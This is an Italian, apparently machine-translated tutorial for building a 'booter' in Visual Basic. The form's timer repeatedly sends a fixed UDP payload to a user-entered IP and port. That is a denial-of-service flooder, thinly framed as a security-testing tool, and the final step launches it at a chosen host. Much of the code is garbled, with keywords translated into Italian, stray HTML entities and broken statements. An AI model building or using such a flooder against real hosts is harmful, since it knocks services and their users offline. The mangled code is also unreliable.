Un booter è un'applicazione che tenta di accedere un utente da un'applicazione collegato a Internet. Un booter un buon modo per testare tutti i programmi che avete codificato o una configurazione di sicurezza di rete. Basic 6 linguaggio di programmazione Visual di Microsoft può essere utilizzato per creare applicazioni Booter con una quantità minima di codice. Si tratta di un linguaggio ideale per applicazioni VB non utilizzano molta memoria e può collegarsi a Internet.

istruzione

1 Aprire l'applicazione di programmazione Visual Basic e creare una nuova applicazione. Nome del file in modo che possa essere facilmente identificato in futuro; per esempio, "Booter VB6."

2 Aggiungere due caselle di testo, tre tasti in bianco, due etichette e un timer nell'applicazione. Il timer misurare la quantità di tempo che il booter corre.

3 Posizionare i tre pulsanti nella parte inferiore dell'applicazione e posizionare le due caselle di testo in alto. Posizionare il timer nell'angolo in alto a destra. Il nome del primo pulsante a sinistra "Start", il secondo pulsante "Stop" e il terzo "Clear".

4 Fare clic sulla scheda codice sorgente di Visual Studio per visualizzare il codice sorgente dell'applicazione. Aggiungere le seguenti righe nella parte superiore della struttura del codice per specificare ciò che l'applicazione farà.

Le importazioni System.Net
Imports System.Text
Importazioni System.Net.Sockets
Importazioni System.Diagnostics

5 Creare una nuova classe per l'applicazione e subroutine del timer aggiungendo le seguenti righe di codice.

Public Class Form1

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Try

ListBox1.Items.Add (& quot; DatPktS # & quot; + TextBox1.Text + & quot; # S & quot;)
ListBox1.Items.Add (My.Computer.Info.AvailableVirtualMemory)
Dim classe UdpClient come nuovo classe UdpClient
GLOIP fioco come IPAddress
Dim bytCommand As Byte () = new Byte () {}
GLOIP = IPAddress.Parse (TextBox1.Text)
udpClient.Connect (GLOIP, TextBox2.Text)
bytCommand = Encoding.ASCII.GetBytes("b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091")
udpClient.Send (bytCommand, bytCommand.Length)
ListBox1.SelectedIndex + 1 =
Fermo ex come eccezione
Me.Close ()
End Try
End Sub

6 Assegnare subroutine per ciascuno dei pulsanti nell'applicazione. Quando viene premuto, i pulsanti si esibiranno la funzione implicita.

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
label2.forecolor = Color.Lime
label2.text = "Active!"
Timer1.Start()
End Sub

Private Sub Button2_Click (ByVal sender As System.Object, ByVal e come System.EventArgs) tratta Button2.Click
label2.forecolor = Color.Red
label2.text = & quot; & quot Arrestato!;
Timer1.Stop ()
End Sub

Private Sub Button3_Click (ByVal sender As System.Object, ByVal e come System.EventArgs) tratta Button3.Click
ListBox1.Items.Clear ()
End Sub

7 Salvare il codice sorgente e compilare l'applicazione in un file exe. Lanciare il file exe. Inserire l'IP host nella "casella di testo 1" per specificare una posizione che dovrebbe essere avviato. Premere il pulsante "Start" per avviare il booter.